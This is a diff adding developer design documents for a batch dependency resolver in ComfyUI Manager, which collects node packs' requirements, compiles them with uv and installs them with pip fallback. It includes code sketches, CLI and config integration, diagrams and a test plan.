+
+### 2.2 Data Classes
+
+```python
+@dataclass
+class PackageRequirement:
+    """Individual package dependency"""
+    name: str              # Package name (normalized)
+    spec: str              # Original spec (e.g., "torch>=2.0")
+    source: str            # Source node pack path
+
+@dataclass
+class CollectedDeps:
+    """All collected dependencies"""
+    requirements: list[PackageRequirement]  # Collected deps (duplicates allowed, uv resolves)
+    skipped: list[tuple[str, str]]          # (package_name, skip_reason)
+    sources: dict[str, list[tuple[str, str]]]  # {package_name: [(pack_path, pkg_spec), ...]}
+    """pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
+    extra_index_urls: list[str]             # Additional index URLs separated from --index-url entries
+
+@dataclass
+class LockfileResult:
+    """Compilation result"""
+    success: bool
+    lockfile_path: str | None     # pinned requirements.txt path
+    conflicts: list[str]          # Conflict details
+    stderr: str                   # uv error output
+
+@dataclass
+class InstallResult:
+    """Installation result (uv pip install -r is atomic: all-or-nothing)"""
+    success: bool
+    installed: list[str]     # Installed packages (stdout parsing)
+    skipped: list[str]       # Already installed (stdout parsing)
+    stderr: str              # uv stderr output (for failure analysis)
+
+@dataclass
+class ResolveResult:
+    """Full pipeline result"""
+    success: bool
+    collected: CollectedDeps | None
+    lockfile: LockfileResult | None
+    install: InstallResult | None
+    error: str | None
+```
+
+---
+
+## 3. Core Logic Details
+
+### 3.1 Dependency Collection (`collect_requirements`)
+
+```python
+# Input sanitization: dangerous patterns to reject
+_DANGEROUS_PATTERNS = re.compile(
+    r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
+    r'|--find-links\b|-f\b|.*@\s*file://)',
+    re.IGNORECASE
+)
+
+def collect_requirements(self) -> CollectedDeps:
+    requirements = []
+    skipped = []
+    sources = defaultdict(list)
+    extra_index_urls = []
+
+    for path in self.node_pack_paths:
+        # Exclude disabled node packs (directory-based mechanism)
+        # Disabled node packs are actually moved to custom_nodes/.disabled/,
+        # so they should already be excluded from input at this point.
+        # Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
+        if ('/.disabled/' in path
+                or os.path.basename(os.path.dirname(path)) == '.disabled'
+                or path.rstrip('/').endswith('.disabled')):
+            continue
+
+        req_file = os.path.join(path, "requirements.txt")
+        if not os.path.exists(req_file):
+            continue
+
+        # chardet-based encoding detection (existing robust_readlines pattern)
+        for line in self._read_requirements(req_file):
+            line = line.split('#')[0].strip()
+            if not line:
+                continue
+
+            # 0. Input sanitization (security)
+            if self._DANGEROUS_PATTERNS.match(line):
+                skipped.append((line, f"rejected: dangerous pattern in {path}"))
+                logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
+                continue
+
+            # 1. Separate --index-url / --extra-index-url handling
+            #    (BEFORE path separator check, because URLs contain '/')
+            if '--index-url' in line or '--extra-index-url' in line:
+                pkg_spec, index_url = self._split_index_url(line)
+                if index_url:
+                    extra_index_urls.append(index_url)
+                line = pkg_spec
+                if not line:
+                    # Standalone option line (no package prefix)
+                    continue
+
+            # 1b. Reject path separators in package name portion
+            pkg_name_part = re.split(r'[><=!~;]', line)[0]
+            if '/' in pkg_name_part or '\\' in pkg_name_part:
+                skipped.append((line, f"rejected: path separator in package name"))
+                continue
+
+            # 2. Apply remap_pip_package (using cm_global.pip_overrides)
+            pkg_spec = self._remap_package(line)
+
+            # 3. Blacklist check (cm_global.pip_blacklist)
+            pkg_name = self._extract_package_name(pkg_spec)
+            if pkg_name in self.blacklist:
+                skipped.append((pkg_spec, "blacklisted"))
+                continue
+
+            # 4. Downgrade blacklist check (includes version comparison)
+            if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
+                skipped.append((pkg_spec, "downgrade blacklisted"))
+                continue
+
+            # 5. Collect (no dedup — uv handles resolution)
+            req = PackageRequirement(
+                name=pkg_name,
+                spec=pkg_spec,
+                source=path,
+            )
+            requirements.append(req)
+            sources[pkg_name].append((path, pkg_spec))
+
+    return CollectedDeps(
+        requirements=requirements,
+        skipped=skipped,
+        sources=dict(sources),
+        extra_index_urls=list(set(extra_index_urls)),  # Deduplicate
+    )
+
+def _split_index_url(self, line: str) -> tuple[str, str | None]:
+    """Split 'package_name --index-url URL' → (package_name, URL).
+
+    Also handles standalone ``--index-url URL`` and
+    ``--extra-index-url URL`` lines (with no package prefix).
+    """
+    # Handle --extra-index-url first (contains '-index-url' as substring
+    # but NOT '--index-url' due to the extra-index prefix)
+    for option in ('--extra-index-url', '--index-url'):
+        if option in line:
+            parts = line.split(option, 1)
+            pkg_spec = parts[0].strip()
+            url = parts[1].strip() if len(parts) == 2 else None
+            return pkg_spec, url
+    return line, None
+
+def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
+    """Reproduce the downgrade version comparison from existing is_blacklisted() logic.
+
+    Same logic as manager_core.py's is_blacklisted():
+    - No version spec and already installed → block (prevent reinstall)
+    - Operator is one of ['<=', '==', '<', '~='] and
+      installed version >= requested version → block (prevent downgrade)
+    - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
+    """
+    if pkg_name not in self.downgrade_blacklist:
+        return False
+
+    installed_packages = manager_util.get_installed_packages()
+
+    # Version spec parsing (same pattern as existing is_blacklisted())
+    pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
+    match = re.search(pattern, pkg_spec)
+
+    if match is None:
+        # No version spec: prevent reinstall if already installed
+        if pkg_name in installed_packages:
+            return True
+    elif match.group(2) in ['<=', '==', '<', '~=']:
+        # Downgrade operator: block if installed version >= requested version
+        if pkg_name in installed_packages:
+            try:
+                installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
+                requested_ver = manager_util.StrictVersion(match.group(3))
+                if installed_ver >= requested_ver:
+                    return True
+            except (ValueError, TypeError):
+                logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
+                return False
+
+    return False
+
+def _remap_package(self, pkg: str) -> str:
+    """Package name remapping based on cm_global.pip_overrides.
+    Reuses existing remap_pip_package() logic."""
+    if pkg in self.overrides:
+        remapped = self.overrides[pkg]
+        logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
+        return remapped
+    return pkg
+```
+
+### 3.2 Lockfile Generation (`compile_lockfile`)
+
+**Behavior:**
+1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
+2. Write collected requirements and base constraints to temp files
+3. Execute `uv pip compile` with options:
+   - `--output-file` (pinned requirements path within temp dir)
+   - `--python` (current interpreter)
+   - `--constraint` (base dependencies)
+   - `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
+4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
+5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
+6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
+7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
+
+### 3.3 Dependency Installation (`install_from_lockfile`)
+
+**Behavior:**
+1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
+   - **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
+2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
+3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
+4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
+5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
+
+### 3.4 uv Command Resolution
+
+**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
+1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
+2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
+3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
+
+### 3.5 Stale Temp File Cleanup
+
+**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
+- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
+- Deletes directories older than `max_age_seconds` (default: 1 hour)
+- Silently ignores `OSError` (permission issues, etc.)
+
+### 3.6 Credential Redaction
+
+```python
+_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
+
+def _redact_url(self, url: str) -> str:
+    """Mask authentication info in URLs. user:pass@host → ****@host"""
+    return self._CREDENTIAL_PATTERN.sub('://****@', url)
+```
+
+All `--extra-index-url` logging passes through `_redact_url()`:
+```python
+# Logging example within compile_lockfile()
+for url in deps.extra_index_urls:
+    logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
+    cmd += ["--extra-index-url", url]  # Original URL passed to actual command
+```
+
+---
+
+## 4. Existing Code Integration
+
+### 4.1 manager_core.py Modification Points
+
+**2 `execute_install_script()` locations — both skip deps in unified mode:**
+
+#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
+
+#### 4.1.2 Standalone Function execute_install_script()
+
+**Both locations use the same pattern when unified mode is active:**
+
+1. `lazy_mode=True` → schedule and return early (unchanged)
+2. If `not no_deps and manager_util.use_unified_resolver`:
+   - **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
+   - Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
+3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
+4. `install.py` execution: **always runs immediately** regardless of resolver mode
+
+> **Parameter ordering differs:**
+> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
+> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
+
+### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
+
+**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
+
+**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
+
+**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
+1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
+2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
+3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
+4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
+5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
+
+> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
+> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
+
+### 4.1.5 `execute_lazy_install_script()` Modification
+
+When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
+(deps already batch-resolved at module scope). `install.py` still runs per node pack.
+
+```python
+# In execute_lazy_install_script():
+if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
+    # Per-node pip install: only runs if unified resolver is disabled or failed
+    ...
+# install.py always runs regardless
+```
+
+> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
+> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
+
+### 4.1.6 CLI Integration
+
+Multiple entry points expose the unified resolver in `cm_cli`:
+
+#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
+
+On-demand batch resolution — independent of ComfyUI startup.
+
+```bash
+cm_cli uv-compile [--user-directory DIR]
+```
+
+Resolves all installed node packs' dependencies at once. Useful for environment
+recovery or initial setup without starting ComfyUI.
+`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
+
+#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
+
+```bash
+cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
+```
+
+When `--uv-compile` is set:
+1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
+2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
+   (not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
+3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
+
+This differs from per-node pip install: instead of resolving each node pack's
+`requirements.txt` independently, all deps are compiled together to avoid conflicts.
+
+#### 4.1.6.3 Additional `--uv-compile` Commands
+
+The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
+`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
+runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
+
+| Command | Operation |
+|---------|-----------|
+| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
+| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
+| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
+| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
+| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
+| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
+
+> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
+> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
+> triggers batch resolution after all nodes are processed.
+>
+> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
+> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
+> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
+> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
+
+#### Shared Design Decisions
+
+- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
+  blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
+  `cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
+  initialized at `cm_cli/__main__.py` module scope.
+- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
+  not startup gates.
+- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
+  handles resolver instantiation, execution, and result reporting.
+- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
+  All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
+  via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
+  calls `fix_broken()` in the snapshot restore exception handler (before
+  `_run_unified_resolve()` is reached), per dec_7.
+- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
+  is non-empty, `_run_unified_resolve()` cross-references conflict package names with
+  `CollectedDeps.sources` to identify which node packs requested each conflicting package:
+  - Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
+  - Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
+    matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
+  - Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
+    per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
+
+**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()` → `collect_node_pack_paths()`,
+which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
+
+### 4.2 Configuration Addition (config.ini)
+
+```ini
+[default]
+# Existing settings...
+use_unified_resolver = false   # Enable unified dependency resolution
+```
+
+### 4.3 Configuration Reading
+
+Follows the existing `read_uv_mode()` / `use_uv` pattern:
+- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
+- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
+- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
+
+### 4.4 manager_util.py Extension
+
+```python
+# manager_util.py
+use_unified_resolver = False  # New global flag (separate from use_uv)
+```
+
+---
+
+## 5. Error Handling Strategy
+
+```mermaid
+flowchart TD
+    STARTUP["prestartup_script.py startup"]
+    STARTUP --> CHK{use_unified_resolver?}
+    CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
+
+    CHK -->|Yes| RAI["run_unified_resolver()"]
+    RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
+    STALE --> UV_CHK{uv installed?}
+    UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
+
+    UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
+    CR --> CR_DIS[".disabled/ path → auto-skip"]
+    CR --> CR_PARSE["Parse failure → skip node pack, continue"]
+    CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
+    CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
+    CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
+
+    CR --> CL["compile_lockfile()"]
+    CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
+    CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
+    CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
+    CL --> CL_TMP["Temp directory → finally block cleanup"]
+
+    CL -->|Success| IL["install_from_lockfile()"]
+    IL --> IL_OK["Total success → parse installed/skipped"]
+    IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
+    IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
+
+    IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
+    PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
+```
+
+> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
+> (per-node pip install), providing the same behavior as if unified mode were disabled.
+
+---
+
+## 6. File Structure
+
+### 6.1 New Files
+
+```
+comfyui_manager/common/unified_dep_resolver.py   # Main module (~350 lines, includes sanitization/downgrade logic)
+tests/test_unified_dep_resolver.py              # Unit tests
+```
+
+### 6.2 Modified Files
+
+```
+comfyui_manager/glob/manager_core.py       # Skip per-node pip in unified mode (2 execute_install_script locations)
+comfyui_manager/common/manager_util.py     # Add use_unified_resolver flag
+comfyui_manager/prestartup_script.py       # Config reading + startup batch resolver + execute_lazy_install_script modification
+```
+
+> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
+
+---
+
+## 7. Dependencies
+
+| Dependency | Purpose | Notes |
+|-----------|---------|-------|
+| `uv` | Dependency resolution and installation | Already included in project dependencies |
+| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
+| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
+| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
+| `subprocess` | uv process execution | Standard library |
+| `dataclasses` | Result data structures | Standard library |
+| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
+| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
+| `time` | Stale temp file age calculation | Standard library |
+| `logging` | Per-step logging | Standard library |
+
+No additional external dependencies.
+
+---
+
+## 8. Sequence Diagram
+
+### Install Time + Startup Batch Resolution
+
+```mermaid
+sequenceDiagram
+    actor User
+    participant MC as manager_core
+    participant PS as prestartup_script
+    participant UDR as UnifiedDepResolver
+    participant UV as uv (CLI)
+
+    Note over User,MC: Install Time (immediate)
+    User->>MC: Install node pack X
+    MC->>MC: Git clone / download X
+    MC->>MC: Skip per-node pip (unified mode)
+    MC->>MC: Run X's install.py
+    MC-->>User: Node pack installed (deps pending)
+
+    Note over User,UV: ComfyUI Restart
+    User->>PS: Start ComfyUI
+    PS->>PS: Check use_unified_resolver
+    PS->>UDR: Create resolver (module scope)
+    UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
+    UDR->>UV: uv pip compile --output-file
+    UV-->>UDR: pinned reqs.txt
+    UDR->>UV: uv pip install -r
+    UV-->>UDR: Install result
+    UDR-->>PS: ResolveResult(success=True)
+    PS->>PS: PIPFixer.fix_broken()
+    PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
+    PS-->>User: ComfyUI ready
+```
+
+---
+
+## 9. Test Strategy
+
+### 9.1 Unit Tests
+
+| Test Target | Cases |
+|------------|-------|
+| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
+| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
+| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
+| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
+| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
+| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
+| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
+| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
+| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
+| Atomic model | On failure: installed=[], stderr populated |
+| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
+| `_remap_package` | pip_overrides remapping, unregistered packages |
+| Blacklist | torch family, torchsde, custom blacklist |
+| Duplicate handling | Same package with multiple specs → all passed to uv |
+| Multiple paths | Collection from multiple custom_nodes paths |
+| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
+| Concurrency | Two resolver instances each use unique temp directories |
+| Credential redaction | `user:pass@host` URL masked in log output |
+| `_redact_url` | `://user:pass@host` → `://****@host` conversion, no-credential URL passthrough |
+| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
+| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
+| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
+
+### 9.2 Integration Tests
+
+- End-to-end test in real uv environment
+- Existing pip fallback path test
+- config.ini setting toggle test
+- Environment integrity verification after PIPFixer call
+- lazy_mode scheduling behavior verification (Windows simulation)
+- `use_uv=False` + `use_unified_resolver=True` combination test
+- Large-scale dependency (50+ node packs) performance test
+
+---
+
+## 10. Implementation Order
+
+1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
+   - PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
+   - Blacklist/override filtering
+   - **Downgrade blacklist** (version comparison logic included)
+   - **Input sanitization** (-r, -e, @ file:// etc. rejection)
+   - **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
+   - **`.disabled` node pack filtering**
+   - Defensive cm_global access (getattr pattern)
+2. **Phase 2**: `compile_lockfile` implementation + tests
+   - uv pip compile invocation
+   - --output-file, --constraint, --python options
+   - Conflict parsing logic
+3. **Phase 3**: `install_from_lockfile` implementation + tests
+   - uv pip install -r invocation (NOT sync)
+   - Install result parsing
+4. **Phase 4**: Integration — startup batch + install-time skip
+   - `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
+   - `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
+   - `manager_util.py`: `use_unified_resolver` flag
+   - Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
+5. **Phase 5**: Integration tests + fallback verification + startup batch tests
+
+---
+
+## Appendix A: Existing Code Reference
+
+> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
+> Use `grep -n` or IDE symbol search for exact locations.
+
+### remap_pip_package Location (Code Duplication Exists)
+
+```
+comfyui_manager/glob/manager_core.py     — def remap_pip_package(pkg)
+comfyui_manager/prestartup_script.py     — def remap_pip_package(pkg)
+```
+
+Both reference `cm_global.pip_overrides` with identical logic.
+The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
+
+### cm_global Global State
+
+```python
+# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
+cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}  # set
+cm_global.pip_overrides = {}                                                   # dict, loaded from JSON
+cm_global.pip_downgrade_blacklist = [                                          # list
+    'torch', 'torchaudio', 'torchsde', 'torchvision',
+    'transformers', 'safetensors', 'kornia'
+]
+```
+
+> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
+> If the resolver may be called from the CLI path, this initialization should also be verified.
+
+### PIPFixer Call Pattern
+
+```python
+# Within UnifiedManager.execute_install_script() method in manager_core.py:
+pip_fixer = manager_util.PIPFixer(
+    manager_util.get_installed_packages(),
+    context.comfy_path,
+    context.manager_files_path
+)
+# ... (after installation)
+pip_fixer.fix_broken()
+```
+
+The unified resolver does not call PIPFixer directly.
+The caller (execute_install_script) calls PIPFixer as part of the existing flow.
+
+### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
+
+```python
+# manager_core.py — def is_blacklisted(name)
+# 1. Simple pip_blacklist membership check
+# 2. pip_downgrade_blacklist version comparison:
+#    - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
+#    - match is None (no version spec) + installed → block
+#    - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
+#    - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
+```
+
+The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
+It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
+
+### Existing Code --index-url Handling (Asymmetric)
+
+```python
+# Only exists in standalone function execute_install_script():
+if '--index-url' in package_name:
+    s = package_name.split('--index-url')
+    install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
+
+# UnifiedManager.execute_install_script() method does NOT have this handling
+```
+
+The unified resolver unifies both paths for consistent handling via `_split_index_url()`.

docs/dev/PRD-unified-dependency-resolver.md

@@ -0,0 +1,363 @@
+# PRD: Unified Dependency Resolver
+
+## 1. Overview
+
+### 1.1 Background
+ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
+This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
+
+**Current flow:**
+```mermaid
+graph LR
+    A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
+    B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
+    B2 -.->|May break<br/>A's deps| A2
+```
+
+### 1.2 Goal
+Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
+
+**New flow (unified resolver mode):**
+```mermaid
+graph TD
+    subgraph "Install Time (immediate)"
+        A1[User installs node pack X] --> A2[Git clone / download]
+        A2 --> A3["Run X's install.py (if exists)"]
+        A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
+    end
+
+    subgraph "ComfyUI Restart (startup batch)"
+        B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
+        B2 --> B3["uv pip compile → pinned requirements.txt"]
+        B3 --> B4["uv pip install -r → Batch install"]
+        B4 --> B5[PIPFixer environment correction]
+    end
+```
+
+> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
+> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
+
+### 1.3 Scope
+- Develop a new dedicated dependency resolution module
+- Opt-in activation from the existing install process
+- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
+
+---
+
+## 2. Constraints
+
+| Item | Description |
+|------|-------------|
+| **uv required** | Only operates in environments where `uv` is available |
+| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
+| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
+| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
+| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
+| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
+| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
+| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
+
+---
+
+## 3. Functional Requirements
+
+### FR-1: Node Pack List and Base Dependency Input
+
+**Input:**
+- Node pack list (fullpath list of installed + to-be-installed node packs)
+- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
+
+**Behavior:**
+- Validate each node pack path
+- Exclude disabled (`.disabled`) node packs
+  - Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
+  - Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
+  - At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
+  - Defensively exclude any node pack paths that are within the `.disabled` directory
+- Base dependencies are treated as constraints
+- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
+
+**`cm_global` runtime dependencies:**
+- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
+- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
+- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
+
+### FR-2: Dependency List Extraction
+
+**Behavior:**
+- Parse `requirements.txt` from each node pack directory
